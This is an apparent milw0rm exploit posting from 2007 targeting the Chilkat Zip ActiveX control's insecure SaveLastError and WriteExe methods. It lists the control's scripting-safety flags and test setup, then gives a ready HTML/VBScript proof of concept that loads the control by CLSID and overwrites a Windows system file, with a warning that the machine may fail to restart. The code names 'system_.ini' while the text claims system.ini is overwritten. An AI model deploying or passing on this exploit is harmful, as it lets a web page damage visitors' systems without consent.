<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------
<b>Chilkat Software Chilkat Zip ActiveX Component (ChilkatZip2.dll v. 12.4.2.0)
"SaveLastError()" and "WriteExe()" Insecure Methods</b>
url: http://www.chilkatsoft.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>
This control is marked as:
<b>RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPersist Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data
KillBitSet: Falso</b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
------------------------------------------------------------------------------
<object classid='clsid:DB90DEA9-0897-4B02-9FE0-1E321A22EAB0' id='test'></object>
<script language='vbscript'>
test.SaveLastError "c:\windows\system_.ini"
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"Chilkat Zip")
</script>
</span>
</code></pre>
# milw0rm.com [2007-07-07]
